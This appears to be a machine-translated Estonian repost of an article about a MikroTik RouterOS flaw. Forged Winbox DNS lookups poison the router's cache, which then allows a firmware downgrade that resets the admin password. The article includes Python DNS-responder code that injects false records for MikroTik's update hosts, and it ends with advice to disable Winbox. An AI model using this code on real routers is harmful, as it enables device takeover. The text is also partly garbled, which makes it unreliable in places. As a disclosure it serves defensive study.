RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

RouterOSi (Mikrotik) seadmete kauguuendamise võimalus seab ohvriks sadu tuhandeid võrguseadmeid. Haavatuse tõttu on seotud Winbox protokolli DNS-vahemälu ründamine, mis võimaldab laadida seadmele vananenud (pöördusparooli "vaikimisi" lähtestamisega) või modifitseeritud püsivara.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

Haavatuse üksikasjad

RouterOSi terminal toetab DNS-i otsimise käsu kasutamist.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

See päring töödeldakse binaarfaili nimega resolver poolt. Resolver on üks paljusid binaarfailide, mis on seotud RouterOSi Winbox protokolliga. Kõrgel tasemel "sõnumid", mis saadetakse Winboxi pordile, saavad suunata erinevatesse binaarfailidesse RouterOSis vastavalt massiivi põhjalikule nummerdamissemanale.

RouterOSis on vaikimisi DNS-serveri funktsioon keelatud.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

Kuid isegi kui serveri funktsioon on keelatud, toetab reitermine oma DNS-vahemälu.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

Kui teeme päringu, kasutades winbox_dns_request, näiteks example.com, salvestab ruuter tulemuse.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

Kuna me saame määrata DNS-serveri, mille kaudu päring peab minema, on vale aadressi sisestamine triviaalne. Näiteks, võime seadistada DNS-serveri rakenduse Philipp Klausilt, et vastata A-kirjega, mis sisaldab IP-aadressi 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Nüüd, kui Winboxis otsida example.com, näeme, et ruuteri DNS-vahemälu on rünnatud.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

Muidugi, example.com-i ründamine pole eriti kasulik, kuna ruuter ei kasuta seda tõeliselt. Sellegipoolest peab ruuter pöörduma upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ja download.mikrotik.com poole. Ja tänu veel ühele veale on võimalus neid kõiki korraga rünnata.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Ruuter küsib ühte luba, kuid me anname tagasi viis. Ruuter vahemälustab kõik need vastused valesti.

RouterOSi backport-haavatus seab ohvriks sadu tuhandeid seadmeid

Ilmselgelt on see rünnak kasulik ka juhul, kui ruuter tegutseb DNS-teenusena, kuna see võimaldab rünnata ruuteri kliente.

Samuti võimaldab see rünnak ära kasutada tõsisema haavatavuse: viia läbi RouterOS-i versiooni alandamine või tagasiportimine. Ründaja rekonstrueerib uuenduste серверi loogika, sealhulgas muudatused, ja suunab RouterOS-i käsitlema vananenud (haavatavat) versiooni kui kehtivat. Oht seisneb selles, et 'uuendamise' käigus lähtestatakse administraatori parool vaikeväärtusele – kurjategija saab süsteemi siseneda tühja parooliga!

Mängi videot

Rünnak on täiesti toimiv, hoolimata sellest, et autor rakendab veel mitmeid vektorite, sealhulgas tagaukse sisestamine püsivale tarkvarale, kuid see on juba liialdatud tehnika ning selle rakendamine ebaseaduslikel eesmärkidel on seadusevastane.

Kaitse

Lihtne Winboxi väljalülitamine aitab kaitsta nende rünnakute eest. Kuigi Winboxi kaudu haldamine on mugav, on parem kasutada SSH-protokolli.

Allikas: habr.com

Osta usaldusväärne veebimajutus DDoS-kaitsega veebisaitidele, VPS VDS serverid 🔥 Osta usaldusväärne veebimajutus DDoS-kaitsega veebisaitidele, VPS VDS serverid - ProHoster